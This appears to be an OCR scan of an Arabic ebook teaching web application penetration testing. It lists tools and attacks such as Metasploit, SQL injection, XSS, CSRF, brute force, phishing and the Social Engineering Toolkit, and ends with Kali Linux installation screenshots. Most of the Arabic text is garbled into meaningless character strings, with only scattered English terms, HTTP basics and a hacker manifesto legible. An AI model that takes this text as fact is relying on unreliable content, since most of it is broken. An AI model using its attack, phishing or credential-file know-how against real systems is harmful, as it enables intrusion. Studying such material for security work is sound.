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Give a man an audit and he will be
secure for a day.

Teach a man to audit and he will be
secure for the rest of his life.
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Janll go wigl Glial jLil ddypn eoleyl pano Qlidll 13a

@Al juisl Jga déilw dayeo ellai U elil gajial Ll qlidll A& o4
dorAiwall algall e Jga dhiy dajeo ellai ¢lidlg wugll

jgni ellai M g alauidl alupwlwlg Jiedill dohil dajeo elloig
Glpiavl dilac aii cars Jols

pawill oa clpd pag ggajino Jgropo pa Jgdajinell jalall
d4uil e alilwll JLédiil ddig aliludl 2laiwl Gphg alilull Aclgég

.Sl Jgolg

odag dajeoll oda hivo (AT V aljlaall oda clloi ¥ ¢iis [3]
Jliall Aa «6jaiwoll éclydllg Jooll l@ilce Jgnall jaog aljlaall
ohhoas dnlall ailiidillg algaVlg dilaellg diphill jgoll cloloyw
wle i Jaaf glg dpoleall wgll aliyhi 3o pgaall Gy
G ol Jlatidl datll gle Jraiw J1 dojMlll aljlaollg dajeall
Judimall o 8xdeall cugll (§lal jLial

Qi gl elodgo dilan Ay)ig gélgo aopo gl géigo pao &l 13
ga wlidll 13aa gdlgall §lyial jJuisly pido ¢id gl diloa guaiao
ell




:dilgguuodl cMA|
diloall ga ulidll @ go waaall

aldphi g alyapw Ghial jUisl Gpal api ga qlisll ggito
ddyfhll paa JUA jo cledgo dilon o aaiil wugll goriiog
pgaall oa doxiiwall

o qlisll A& (o4 dagpirall ailiidill odag ailgall oda padiwi
(odgild e gl odMAT e Jac

gdgoll 138 waln go YAl le ellgna gy gdgo Ghialy pdi U
l@ams Jawll go lisll 138 ga dagpiall algall go aaell
I sldig ldi caguw dila (gdgild jue Joor dad 3] laeiiig
gl

A& sginal gdgild pé pladiml gl ge digduo olay qilall
.aliall
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aligh grun Jioa
Lijguw Jo aMlail juiido

(Gl jlialg alogleall ol aito

Email:
dolphin-syria@hotmail.com

cyber.sy@yandex.com

fb:
www.facebook.com/profile.php?id=100005554456897

Blog:

www.arabcyberwarrior.wordpress.com
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oolg il 2ag) @l

Lygw gibhg chhad alg)l @l
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gl Gl jlial albaalwl :Jgll Jnall

gl papu gMhiwl :gilill Jnall

gl pap Jileiwlg algeill ge andl allill Jnall
gl Guhi gaaag gllaiwl gldl Jadll

gdall alpei :juolall Jnall

Jluall jglaig désbnall pus :gualudl Jnall

gl padio doalao :gilwll Jnall
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gl Glpal jlial alwabuwi :Jgll Jnall
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.................................... HTTP Jgigip gc aajei gl uay sl Lo

.......................................................... gl Glaal jlial bl

................................................................ Leguin 81 wigll alyed

gl yapuu gllhiwl :@ilill Jnadll
.......................................................... dagiaoll aljuAaiwll jalno

..................................... carall od] jluall oaujg DNS gMihil

................................................. oxiiwoll cilogleo gle Jgnall
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e Google Hacking
BT S alyeill ge dallg Jleall gMihil
Y ettt NMAP
Y e Sl dadl alndl il
VY e dapl! dinill dudl cayyel
Y O et ettt sttt et st sttt Shoden
LI\ OO dj@all alagi
Y e e e Maltego

gl papun Jilgimlg alpeill ge éadl il Jnall

Yy O ettt et st Nessus
Y ettt bbb s CVE
YT e ettt ettt bt b e ns Nikto
Yy ettt sttt s s ne s OoSvDB
Y e e Metasploit
YOy e Jangll olc dhalaall
YO A e Webacoo
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«ugll Guhi gaaag gllhiwl @iyl Jnall
. doado

......................................... gl Guhi calinialg glihil

.................................................... gl euwsgy iyl

........................................................................ Brup Suite

.................................................................. OWASP - ZEP

A e, Acunetix

YyY

YY¢

Yyy

Yy

gdall alysi :guolall Jnadll

e e, SQL Injection aljoi

.................................................... SQL Injection 67 Aoyl
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Jluoll jglaig ddalnoll puus :gualudl Jnall

Ty e, dlulall jglaig ddalnoll alyoi
A SRR douilell 6gdll pgaa
LI 2 T Brup Intruder
T e duwlall doalao
LI 2 Jall jglai pgaa

gl padiuo doalado (giluwull Jnnall
Y e e Cross Site Scripting (XSS) 621
AR R Cross Site Request Forgery (CSRF) 61

Y duidill dicloiaVl dwaiall alped

T s ugll padio gMhil

A cugll padio JAoTwl

YA Socia; Engineering Toolkit

A SRR ROPRR Phishing y1nill
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laiohil pyei JUl anl alohiellg alogiallg alapill pheo

alaphi Gla Jawdl go gl aldghi Jua go allell lailogleog
oaull layl] lilng (oill dyidill go .dyloall ge dajeo I ggar wug

A2g1 Liaglisill jghig Jud g3 go Tapdel JAT wygll aliyhi aynl
By Glial Gyhg alyidi

alohioll 3o aaell @Il Jgngll clilboly aml dualall 8jiall g4
LAy dnlall ygll gdlgog aldyhi JUA Jo &jgadiall

ol 6314 droal gd aunl gl aldyhi djloa

Jgiuw qlidll haa qygll alduhi Glial juial alei i cis 13
alidig Gy ddilw dajeo i ellai V elil galjial gle el dylall
gl Glal Ll

il dpulll algallg alidill pleii caguw qlidll lxa Jua go
gl aldphi b alpeill Jioiwlg slyy [@aliag

lo] dyogyll Liolao o yaelly plydll cygll aldyhi glc Aoiei Lil4

8y (o Ji4l allduhill odal Jgaall pgdig Jjiall od gl Jaell ad

0Ad paiiwig wailall jlaa go gi awlall jlas Jila go Liog
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J4uiy alelaiayl jgan gi pilgall gas gi Gguill Jaf go aldyhill
Jnlgill gdlgo JMla o dlilellg cldanil go Jnlgill gi online
&1l plaall go Aaollg gcloial

i i Jauiy alpulwll gle wapeii cagu qlidll ha JiA go
alyill @i g doaatwall aliidillg algaVl gle cayoii

gl aldghi oa elac J4uiy lalioiulg

al Jlacl pgdi gl aldyhi Joa ole jald aniw il gigy 3@
daclé (o dwluwnll cilogleall casis Jio lay plidll 6308 J4i
Al drars pleii wagug Jgaall i daan jglaig alilull

Aa A/ clwai diloa ole jald aunil pgaally plidll draiag warall

Aloaall o gqill
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HTTP Jgaging wugll alyapu
gl Glpial alulul

deiludl cugll alpet

ol odl daliidl piy V (oAl diol jLiAl diy alac]

/ am a hacker and this is my manifesto:
" peace, right and justice "

You can't stop me
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algal dlia g4alg wlidll 1@ ggago gl alanill Glyial jLial

drad wayey gl diloally pidae gadds J4 gle wny diteo aliidig

LaorATl

Gl juial, cugll Guhi capaiug Al jlaall ga wugll papu
Nmap, Nesses and Jio cilgaVl ey oladiwl oiy gl hoy dapdll
Metasploit

algal E_gi gl algaVl oda pladiwl (o a ggad of Ygi elide aay

S aleii gl Jud gaiiall ploi a0 gle
drars plei lalla go grhiwi &ill jalnallg (isll go el dlia

calitiw o dll JgoVl (Ao dlia Jgirw Jalg calgaVl oda pladiul

gl papn wlhaiwy algall oda plaiwl aic Wyld

wlc odto qlisll 1Aag diipo diaaio ghily piy aldpill Glyial jLial
ac andl af waall gllhiwl diloes pgdi cagu ddiall oda
JAUiwll dilagy plidll o alpeill e daull o dagidall alijgdl
gl papw doalao Jila elldg Jusiwdl cuii of gog
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algaVl plaatuwly exdl Jud l@4)ai Il g jgoll o agaell elia
augll alduhi JAloily danlall

olaaiwl enill J1d [@aliag (_;\JJI dlogleoll J4 Lq.losu Jrall 1Aa
ugll (Ghial juial alidig algﬂ

Jlial duwjloo o algiw 6ac ol dalay cuil digd 6acld ellail

A Jady @eaai gl aay dyaga aluulwl dlia gilg Gliayl
oaai gi Lyl panll gog deilill aligill qaaii aluulwll oia
JAA o aaleiiw lo 1Aag algall plaiiwy guuwlioll Jlojllg cidgll
Jadall A&

dioVlg duulioll digll panil 6ghiy 6gha aph goni) Joall 1A
gl Gl juial qylaiy elidll

firewall dyjlill gjljaall Jio poiwo Jauw jghii diloall aliidis

go hda Juldll prdi 8jaaVl oda jalg Jahill giog waiis dolilg
wwigll alduhi Jaly 8agagall alilullg wigll alduhi dilan Jal
pgdi ol cugll alduhi dealawo oJ| Igldiil jalall gla clAl
alilydl aclgd alpap Jio dlalall dokill go pilio Jauy Jelailly
sVl aliuidl diloa 8jaalg dyli gljaar diaao g4l v (il
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canynlg dilon olp giag le VAT af dualall dLlall algiull o
aljlanyl aly aldphill go dilon AT dinall wgll aldghi
dogadll

gai jJalall aagi awnl Ada dylan 4T canl wygll aldyhi gy

diloa ole ujald wigll (uaopog alawsdl cljro o Juldll elia
@i il diclainyl duniall aload ae wgll oiiuo

HE Gio pladiwly pgad pdii go JAaiy loric palaoll daja JAT

wleg cugll yapn sle pgaall diays ploii wagu lisll 38 g4
dll pad olc jald auniwg qugll g0riiwo gleg qugll aldyhg
oday plydll laaling il algalll & log daliiall ¢lgilll oda
.dadoll
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:ygll aldiyhi galo

e sloicUly dalite (qileo al web application ciig (Guhi alhno
'dgo IS-..- ‘§OAJ| o o Il

olhi gl (g gdgo gl g Guhi alalhno ggélhy gulill go Al
«L1g dols b_iidgiq,!gjléd_cmchLdgmgi‘,ugJI‘_g\J_cm

di=all guai ellai lalag

(Si @J,I: OJLU-IACJ-I lJLlﬁ-“ |A_6] 6\(] ‘D)j .|'|||.|.||| "u_|g (g.leJ" EII: II
wlc Aniei dathg 63gd cugll ol Alaicll (gito pig claguw
pMiwoll go Jclaill

i Jio doaay pgdyl cugll gdgo go paiiwoll Jelaiy loaic
gdlgo JAA (o Jelaill gl o4l glwall 8)la] gl (Gguuill gl Jgaall
ug Guhi gouy Aa oclaizll Jnlgill
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rengll Japu ge adpei gl aag Al Lo

Je2uni olAi Jals Jooy software pig ciagu ga gl japw
gl Guhi ol Jangll Jlailll aouy Allg server pajull
(o2 [Liuiil wugll cilpap jisi

olhi olc Jooy Al :Internet Information Services (IIS) =

Jgailg

.yuiiyl dalil glc Jogy sllg :Apache server =
odag jiquol jlaa (._.gi Jio diale alalao diiy ellad alpapuall oda
gl Guhi Jals ggad alalaall
duit Jl daslailly Jniw IS web server cnii clghi aioiil 3]

clloyw Guhi J4 &ua Cilinetpub\wwwroot qaljiall alaall
wwwroot Jaly (plall oalao

aldyhi plheo galg alalll dyy o ali iyl Jugdiill plhai
Ivariwww Jaly jgai cugll

Juisly dhiijo Linux web server (o dlalaall o vaell dlia
walall gilall gle gy letc/shadow Alaall Mio cugll (Glyial
alalo gle (sgny fusellib Alaollg plAill padTwo JAI pull doldy
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shell J1d go gl prifuall id go diiaii alalo giil 6xe0 pe
Alaoll 13a Jaly gg4aig Guhill Jid (o paatinig scripts
allawg alilyll 8xeldy dnlall alalall gle ggay Alaall 3@ var/
awdi gl Guhil janall agallg plhAill

Jio Jogyl pliaill l@aling ol polpll ole gy Alaoll 13a fbin
Sl 8aclio Qolpg shell, Is, grep

lia ggai Juewlill plhi alatle’ pheo binary gl] Jlnidl @ bin

dagido ports ddlio glc gy aiV palaell cdra ga wugll papu
agag gl Jueduill plA§ alalac) od clhi] o] dalayly alyoig
o@ lob dualiall alalaeyl

:HTTP < aayei gl aa <Al bo
HTTP (Hypertext transfer protocol)

2o JlniVlg Jelaill paaiuy (lavle Gaio aliloc) Jgagigy ga
gl Guhni

HTTP plaiiwl aic dungnill gl dylaall jlicl gl cllia guyl
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iy qugll Guhig alhy paisiwoe i apio Jgigip pie) gag
gl Guhi galg délbw allh gl dayeo sl ggag Jéiuwo J4iin
Gauiill Jio aleljal plail grhiwi elldl padiwoll wlh jluo Aaay
clidlhg (ol] elilyjisio dalnly pgdi loaic) online guV Jgl JAuiy
(gaxll alogleo JlAa| g Jungill ddyph jliiilg

dale] elio wlhy gl Jaoy cookies j14gall pladtiwl (jgay HTTP

wloc je ol 1aag ay pgdi Joc J5 gl 6gha J5 JAa Jganll Jrawi
Jlwo hany Guhill pgdy dua session dwlall pgando alayl ai ellil

9941 Al Jole Jogdi gdg Jgaall Jrawi diloey clolid ey elililh
gl Guhi oa pgaall dayc

Julai 8Ial pladiuly HTTP Jac drais ge Junlaill digy elidoy
wireshark Jio ¢1Mgagip

il aloaall ¢lgil ey gioy secure HTTP (HTTPS) pladiuwl
(SSLITLS) Jg4giy HTTP padiwy loaic HTTPS lc Jgnall iy

Secure Socket Layer/Transport Layer Security
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Jaal sag dlell HTTP dilalg alh ol SSLTLS waway sillg
Rl Jlail 30di oa@g wniioll g4 (o) pgra JLiay ddyph

Jlail 8lid pe gl Guhi go Jlaiyl gigy HTTPS plaiiuwl

) 6 o« o

:Cycles HTTP
dilaVlg paiiuoll adanio (o regust wlhll) http ddla gl 6)ga
(gl japu (jo éiailell response

Jayy dnla (alpgio) aljiolly wle gy wlh Juy aanioll
hlil jano ol laaragi piy dila] Juwp cugll papug priiuall

e@a ellal aljioljlll dogd ol alaicll Jagy gl ghoy qugll Guhi
dina pud plaatwly elldg dioalaoy GVl pito pgdy cara Jgi

gl yapg qugll Guhai Jileiw) alyioljlill

:HTTP Header duwuig}i

pxiwoall wlh o J4 (ob alung)i gonii HTTP cycle §)gx J4

dilaylg alhll Jga Junlai ggai qillg papull dilalg
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b glgiVl pren haa pidiw lidlg aluggyill oda go el dlia
alisall A&

cugll pap oa l@slac] piy (ol (g@ lay pidiw oIl aluyg)ill
ro@g d&ilall 6)gy Jo cjas paiiuall adnio ol] Llalluylg

oxATwall dwlall (ajed jogi dung)ill oda :Set-Cookie o
Bpaiwo cljlo padiwell dwla gl a4l
ol cagu pgaa JUA (o) dwlall ddpu go palacll Jaai 1)
Al padiwell (Gljialg Jueiml Jaoa (GaV Jna oa dap

dib\l pwa Jgh e dung)ill oda doud :Content-Length
ela olc oaclwi lail palaal 6a1do dungyill oda wcylll
6gdll pgaa oa Guhill dild oag Guhill dila] paod
brute force douulall

6alcl Guhill pgdy loaic padiwi duyg)ill oda :Location e
63131 dadn ol paiiall arags
alanll cayeil laoriiuwy gl 4oy dill palaall 8aido adg
.ddslnoll dilac alai a9y hda dagouoll
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168 paitwall adnio go Juyi il aluygyil
oIl cookie (1o Ji4l gl cookie Juw}i duuigyill oA :Cookie =
.oadiall duwly ole Blaall yapwll
Set-cookie doydl ddilho (jgai Ladla jagall dungyi doyd
Japudl laic gloy il header
go dicpdt duwla 3ogi AV palaoll 6:3id0 duyg)yill oda
goATo A pgadll padiwi gl Jhoy &illg cugll (@uhi

la)lj il cugll alhany daild Jayei dungyill oda :Referrer =
ol cugll alh Ji4di piy bosic Ll padiwall
dlgauy lapei Jha) daydll oda gl palaoll 83140 adg
dloall Jaf go duygyill oda (gle Guhill xaicl 13] llillig
.6)gjo doyd plaiiwly dileall (AT dlgauy (jhoia

:HTTP Status Codes

6jLuall dllall ag4 Joniy gad gapull 3 Judivy elaanio gl Loy
4 deato gag HTTP dila] 15 50 go Ji4l dlia .dilayl ggi ol

LMile juoA
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Gubil Ba go

wiei lialeg cygll Japu Jud go pllc] o@ ablayl oia :100 =
gl fap go doald dialn] dila) dlia g
ggi aoy guii Lisleg cyaall qygll papw ablal ga L@l bo Tl
Ayl go jal

albdiwl ai padiwall wlh ¢l )Lk @ ablayl oda :200 -
ol @byl pipw dilaylg alaiy ugll pap Jié o dinlleog
OK 200 ga HTTP J dlla ag4 jauil

aiy Loric apagill 8alcy &)Ll padimi aililall oda :300 =
pxAlwall ol drala] abla] Jlwy)
Adnio daingi éalcy ga agall &l leguir 1i5V1 Guhill
go déslnall diloc alai aey duugifl danldl gl] paiiwall
gl Guhi

OK 200 go laoMiwl iy Al dila] Juwyig Redirect 302

Jud go alhll g Thall §jLiill padiwi ablayl oda :400 =
pAATall
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go dinlleo J4ay V alh Jluyl plé padiwall gl giey 1A
o dlilell 13a g4 dllall Algal jauil gl Guhi Jd
Unauthorized, 403 Forbidden, 404 Not Found 401

Japll wila go Lhal §)linll padiwi ablayl ola :500 =
dlilell i@ (s dllall Alg4l pauil

Internal Server Error and 503 Service Unavailable 500
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caugdl (Glpal jhisl Slowalual

:Jalyo @iyl l] downdo (§lyiAvl jLiAl dylac
Reconnaissance gllhiwl -}
Scanning alpeill gc dadl -

Exploitation JAleiwll -
Maintain access Jgngll olc dhalaollg JUelwll apii  -¢

caxall

gl padiwog «ugll (Guhig .cugll japw
(ollill4 wahal odd wyeiu

dueiiill plhi ole Jaoy Ml Guhill ga :cugll pajrn -
Houos jlaa guy gag .ygll Guhi wpaiug gAll
ports ddlio go Jooi dload (Jog) gag diale alanlgoy
pxiwall adnio go Jlaivl wigll @Guhil aouwi dagiao
Jglay @hiavl pito g aliei @le gga1 gl Jhay qugll papw
Jaaa ole Jgnall papnll ole Jooi il aloaill doqlao
plAill alalog cugll japuw alalol @t apno pe
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ole Jooy Al gjanall 3gall ga Lled :uygll Guhi  -Y
gl padiwo go Jelaill dilac Jogy gag wugll pajw

GV pido Jid o cala@iwl ji5V1 waaall gag

6)lal pgdy Al ga (Al prdiwall :engll padio -7
Jgill) eajlall paiiwall g (aopall gl paall) qugll Guhi
(Il gl
alpe’ JuUa jo pgaall daje laa (rodiiwall M4
cross-site scripting (XSS)
cross-site request forgery (CSRF)

dicloiaVl dwaiall aloaa JMA go gl

G l) clipdai s <l ) 1) i)




:calgaVl

algal guas (VI gle dllia qlidll 1Aa o4 l@oratwi 8lal JAl
Lo 83gago cilgall oia ohoog Joell yuaiy pgdi gl Jhoy Al
guiiyl 18 pliAiy

(o@ [Aoraiwim il algaVl yas

@lyial jhial duloc gl oa dyjgpa 8Ial gag :Burp Suite
gl

lc sgnT laidlg Burp Suite apii :Zwd Attack Proxy(ZAP) =
wwgll aliyhi sle Josll Jild alill ge gilao

alijgdl puuol :Nmap =

alpeill e ¢l :Nessus and Nikto =

gl yap JAetwd :Metasploit =

SQL injection cililull Aclgd oa géall Jal o :Sqlmap =

duwii@ pgaay olidll Social Engineering Toolkit (SET) =
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leguo JiSVI wugll ailpsi

@ §gigo ji¢ paATo pgdy loaic daay (jdall injection (pdall
«lh gl doylei go cjad cugll Guhi @l alily Jluyl

My poyl gl Guhi 337 gl gy diuAll GlisYl Hito alily
alilyll @y agouo pll Jgngll gl digéjo e alogloi
b ol g3la0 g3 Juugls GBYI ido pgd loxic nay gl

glgil pral ga gqill 13 .diol ¢ diloer l@re) pgdy sillg gl
aiV algeill ghje ole gipio Jljlo didlg wugll aldyhi aa aloaall

gl Gub Jals glao JS oa jalai gl glay gaall alyed

e leguir Ji511 gdnll aloaa glgil ja

Structured query language (SQL) queries =

Lightweight directory access protocol (LDAP) queries =
XML path language (XPATH) queries =

Operating system (OS) commands =

laily Jgudo padimall Jay ggdy loric ¢ani gi 4oy géall diloc
24an audit gy ali dalleall dilacg cugll (Guhi Jud jo
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allh ele g jigs of gunivg Gyl pito gl gdey 13
b 83gago 9g4i gl vy il alilullg alogleill diilg cugll Guhi

Ix2 gd Julsil piey laag alihll 0da dayii

:Cross-site Scripting (XSS)
qhll go cfas Guhill go Jgido padimall JAy ggiy loaic dani
)l glho ea g aall auan juoji gy bl QA (sd pAATuy ol

.2ang Jgedall

adnio Jaly seript cwypqw Aaity §lavl pidal pouwi XSS
ogdy (1 Jhoug padiwoll dwla ddpuy dl pouy liag paiiwell
gl diuA gdlgo gll priiwall aiagi éale] gl (Keylogger) wuniiy

@A pido oy Al codlt T (ol

JavaScript g4y Lo Llé) cpa ayybuw gdn grhiug Gyl pito
i@ Vg .arall panio | daluy g VBScript g4y gl J4ay dl
) iy warall panio gla Guhill dila] go cja ga il
Joell anpbull aoung
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:reflected and stored (jjaollg juieioll jicgi lal XSS

gy JaVl pioig wugll aldyhi o4 [jLiuiil J41 ga :XSS reflected
alac gihiny Al Lo wuy gyl T Ja¥l ga il ojlyicl

Jgay dila reflected XSS pgaa od payload Jlwjl piy vic j4lg
hdd aalg ahl Jledg scpil

0981w cAll apbull sgay Al hylll gle héay padimo ig
pgaall 13ay épiilio ulnall gl yiliall aagll Al

hacker to victim 1:1 Jaeo al plc J4auu

@l cuall URL lylyll glgic guai Jup gl g4oy GlEadl pito

ga hylyll le henpu Ml (padll hda galg Llhnll go guilo
Hliy cagu Al

M5 ojpa alg qugll aldyhi ad oalul wienll o :Stored XSS
go axc Jeiny gf Jhaug wlh go JAl pc jainyg aillg Iaa

lc Jald palaall jgiy loaic daay g .aalg pgad (o rodiiwall
Jal alio bl gghug Guhill sd apall aypbull gda
oA (il alilyll 8acld a ggiu gl ghoug GIAlI groriimall
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gl padiwall Jilwyll e M| gaiiall o4 gl wwigll daan Jud o

JAal QAT pgdi diidi gl ea

XSS JuUeiwll gla lazic g daanll jgdhy ggrcpull jgoaiiwall
.(HoTwell alaanio 4 od Jooy cagu exploit

many hacker to victim:1 (Jaoo dlg

G [@ahui aiy Jalg payload gudi laal XSS (o (cgill M4

:duulall 6jlalg ddalnall pus

déislnall dilac Aoy paiiwoll aniy Ayd ajed @ dudall
cajedll 13 plaiiwl diaydy dhijall alieill go aprell wle sgaig
gl Guhi Jid Jo

gl priiwo Gliay alidall @ duwlall

session g jull alals oll Jgngll GlaVl pital powy 1A@g auan
duwdlalli dnlAll token
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6alclg puull dols hin gonaiy ddsbaall aai wygll Guai Juodsi
bl 8aleiwlg Laijef

J5 allbh jlwo gle Blaall dwlall 8jla] padiuy wagll Guhi
doi Jgaal Jrawd ol it elila dudall &5la] ggaig paiiwo
Qg pxdiwoll Gllillg dwlall la] alag] ai Al ay pgdi wlh 4

gl Guhi 6jlyj aic 6aalg 6p0 Jgaall Juawi ayle

:CSRF (Cross-site Request Forgery)

9@ pgdy ulh Jluyl e 8)adll Gliavl pidal g4y loaic daai
94 989 Guhill go Gilas pxiiuo ] diys Al aicling
iy gl ggnr Guhill ecpi alh Jlo8Y dygpn aljiol)l gle
Iy drall padiwall

gl Gliavl pito gle qay laa qill g reflected XSS o1 aynil 1xa
(hl) ele hoall) gll Guhi gé Joc dnli glc wrall pay

Jalg wrall aanio oé Joell o4 joiuy gl Ghay call bl
gl Guhil gcpit alh dclin oIl 6381 f Lyl 401 CSRF (g4
30 padiwo (GlA gl pull dald juoi @ aldhll pgji Adlii gas
alo hually cayey GLiaVl pito gl lodlh auaa qug sgino Gl g

) Sl S )



(Guhill go Galnd waall gig wlhall Jlody dijgpall alyioljlll
arall padiuoll dayeoy o ail gl Lo daiipw wlhll gla

:daloall sodalAall Alacyi

o caenll) diloall go Joleill (pli Jauy win’ §)eill ola
Jiiill plhly déleio gag «(Guhill doja Jols (od (duloall
JiAl ani jhlaoll oda ,alilull 6acld 6jlal plaig cuigll yajiug

Gubhill a1 agowo poll Jgngll gio diloall yogi V loaic digon

:qugll pap ed 9g4i gl gloy il 6)0ill 0da lc dliol

.dygpa pell qolpll
g pell aloadll Jueai
drono pell alwall elwlw

dlnaoll thall Jiluy

oleg Guhill olc Aaifq wajel diano alalac] alhii dlleall dyloall
yap oleg cugll papun oleg Guhill pajuu gleg Joell jlh]
cayel gl way alslacyl oda J4 «Juodiill plhi gleg aliludl 6acld
2olpll J4 goniy Aag dwaliall diloall alalae] go Ja Aaiig
Guthill aoxiiuy 3l agall alifog alilull go Joleii il
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: GIpEAY] JLiAl din alac]

go lidll A& aé dagpitall alyidillg algall go Jaelly exl Jié
pgdi cagu wlidll 3@ o4 Ll diol diy slach pgdi gl paall
il Qi go apaell dlidg qugll alyel dheil glac Guhi)

UiVl diy slach plidll jhicl gier 3AgT gl aay

wle alpoi gle gy M qugll Guhi At daguw iy -)
0941 ¥ &l aan JAdy oalacly pgdi g way ellal djlan
Jroalaall daje ejlan

neol lmolaatuly apno pé Glial juial algal padiuwi cagw  -Y
Al plaaiml

gc qugll yap gl cugll Guhi wldih pgdi cagw MALETL - -7
diy alac] paall go clldl wlidll 3@ gé cllac JAA Jagll
094y dlla sV 8agelly ell pouy dale] Jj le (ggai Joc
2an Jady hguao coun J4 laya

cagu aliall A& JAA galg jhial diy alac Gpo 6ac dlia

Hg ddgu e djlic @ (4illg virtual machines (VM) oAl

Jlaall yuai ole AT Jrooni plhi Jocg dalaiwly powf
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Jieuiiy pgdi gl J4oug doaiiwoll 8351Al1 Jio jalno wlhii VM

Jooi dilai d4ul GlAr powy 1Aag adgll guai oa VMs (o jiAl
apAall jlaall judi olc

dolaAiml (b )i Ml pg adguull ggi aaail aljlid dac elyal

Oracl VM VirtualBox c1jial Lil

Jo U4 paAiwi virtual machine glc Jooi caguw yliall 1Aa (o
(palaall) Glayl juial algalg (warall) ugll Guhi alyef

.virtual machine lc Kali Linux plAi paATwii cagu

:gudiyl (ol1S go dyladll

dnnio yubiyl Jrewill plAi o ayjgi e §jlic ga Kali qJl4
olail &ujgll gag diilogleall doMuwll qa (Grdaillg (§lyiayl jLidl
BackTrack ¢llpi ¢lly

:dyllill jgoVl olc apeii cagw ugll gdlgo (§lyial juialy exyll hd

iy IS olc dole Byhai =
.0olg @oao Jlail alaclg dannll aloai alac| =
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iy olIAll éuyang
sl aldghi Qjii JU go oIS diildo] 83lj
GV LAY dlleall 6)layl

:Kali Linux guiid 15

guaitl ole gito Jrowmi plhi ga BackTrack (BK): dlyi Ll
Juialy dolAll algaVl ole sgay g GliaVl jliayd (anio gag
go pAATwi gl 940y algalll odag gilogleall Gudaillg Glyiall
paATWT Ol J4ayg d4uilly dnlall dloall jLiAY d4pill pao Jd

degpiio pe Jlacl pliall jalall Jud go
2012 plc ul jaul od ojlan] pig BT5r3 ga ellyi cllll go jlanl jal

hall cguilg Ubuntu Linux giigil agijgi (olc alaiclly qito gag
algall JA il ¢ua dalalay algall §jlal digenll o gla

pentest/ rlaall (od 63gago GIHAVI jUTAl (o8 dorATiuall
qen jol gl§ dlaall oda ga algall Jieiiig alayl

g5 gl a5 udial (oI5 ge iyl p7 2013 ple 131 Jais (55
ellyi el

Debian GNU/Linux gl deyjgi glc gito guiidl (oAl
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el alalo wyiyi jlieay plJIlVI pT gLy a2jgi (o4

clldl e §d|5.|| oy sAlig Filesystem Hierarchy Stoddard (FHS)
ol dalall gga glao §T Jo olal (._'g’I: cleatul glaoVl }mig ellyd
Ll elldl oa o4 pentest tree pc Jdiill

6)gauitall GAVI JLisl deyjgi go jlan] ;AT ga 2 (IS
Backtrack/Kali Linux

Jaall gi Gliavl jhial diloc d dodAiall algall Jnal olc S9! gag
RENATRNY

1S plhai aljio

Ji4all pahuw (Jo aliy 6ac pcyy =
Gnome, KDE, LXDE and XFCF

dilac Jawy 13ag gl aghil gxgiuo go algiog goljio =
gVl aliaaill Guhig pjall éuani

& ol @5 plhi cliy prdiwall 20uyg ISO Jiaei peyy =

@dudaillg Gliavl jLial dnnio 81al 300 go JH4l glc gy =
.sdlogleall
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pjn (dn peyvyg dpaluwilll d4pill agld Jo pid aac peyy
oAl J4sy alilyll
Jo pgcao gag silao gag janall agido ggpilo ga olls =
132 Jus gaino
Kali Ji017 ol] Vgl dalay gai diol (§lyial jlial diy slac] Jal go
VM olc diiniig Linux

:Kali VM jLani oa ddlill alghall

djlan alanlgal déalgall 14 10S 8jgn Joa )

Kali Linux Downloads

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download. This page provides the
links to download Kali Linux in it's latest release. For a release history, check our Kali Linux Releases page.

Image Name Direct Torrent Size Version SHA1Sum

Kali Linux 64 bit 150 Torrent 3.1G 2.0 aaebB89a78f155377282f81a78%aa1b38ee5f8bal
Kali Linux 32 bit ISO Torrent 3.2G 2.0 6e5e6390b9d2f6a54bc980f50d6312d9c 77bf 30b
Kali Linux 64 bit Light ISO Torrent 0.8G 2.0 feo4f0b4b48ded247e5549d9dd%ee 514652 4ab
Kali Linux 32 bit Light 150 Torrent 0.9G 2.0 bd%f8eeb2edd31fc2dela77ddc23%ea2acB13572
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diglhall (yéll daluo slacl pdg 8332 VM Glay pd .Y
RAM 55Allg

Name and operating system

PRaSa OV00se 3 SO tvG T 1oy e Naw Wiual maching and sact the
tvpe of peratnp svstem you ntend to Nt on £, The rame you choose
vl be soed throoghoct Wisaliox to dertfy Uha rmachne.

Mo Kal Linge
Trse L .2 |3

Memory size

Select the amount of memoary (RAM) n magabyzes to be alocates to the
wiuy machne,

The recommended memory se 5 384 M3,

0

4 MB
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Create Virtual Hard Drive » IEM
File location and size

Please type the name of the new virtual hard drive file into the box below or
dick on the folder icon to select a different folder to create the file in.

|Kai Lirwux E

Selact the size of the virtual hard drive in megabytes. Thes size iz the bmit on

the amount of fie data that a virtusl machine will be able to store on the hard
drive,

[ 1 | [ ] [ ] .’J [ I lﬁluuﬁa

4.00 MB 200TE

< Back | Create Cancel

e W (Vetng) o Depby
_6., D hunsrg Video Marmony: 12/
Aarmets OedIon Served: Dsad
(| Mobde -
o~ Storage

Corenler: D€
DE Secondury Naster: [LD/OVO] Ergpty
Coreoaler: SATA
SATA Port 02 Kl Lirece vel (e, 12,00 GO)
¥ Audo
Host Divert Widows DeectSound
Cortaaler;  XOM ACS?
& Network
AJapter 10 Wasd PROJI000 MT Daskion (MAT)
wouss
Deace Ftes: 0 [0 actve)
Ll Shawed foMers
oe
@ Dwscription

NE

cuniill diloc Tnlg Kali 10S jLial pd pf
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KAL

“the quieter you become, the more you are able to hear”

Boot menu

Live (amd64)

Live (amdb4 failsafe)

Live (forensic mode)

Live USB Persistence (check kali.org/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options

system.
Language:

Bosnian

Bulgarian

Burmese

Catalan

Chinese (Simplified)
Chinese (Traditional)
Croatian

Czech

Danish

Dutch

Dzongkha
T
Esperanto
Estonian

Finnish

French

Galiclan

Geoarglan

German

Greek

Gujarati

Hebrew

Hindi
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Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make further changes manually.

The partition tables of the following devices are changed:
SCSI1 (0,0,00 (sda)

The following partitions are going to be formatted:
partition #1 of SCSI1 (0,0,0) (sda) as extd
partition #5 of SCSI1 {(0,0,0) (sda) as swap

Write the changes to disks?

= [ No
) Yes

Install the system

Copying data to disk...

root paiiuall auwly Jgaall Jiawis pd wyniill dilac cl@iil reig

.uniill didac clifl l@jLisl clod il pull dal4g
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Applications ¥ Places ¥ Sun 23:49

8 algal
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:Information Gathering dlogleoll goa =

go alilllg alogleall gaal doriiwall gllhiwyl algal gle gai
warall jlaall gi d4usl

:Vulnerability Analysis aljeill Julai =

algall odag warall olhill Y. alpeill oA dlgﬂ ol Sgi
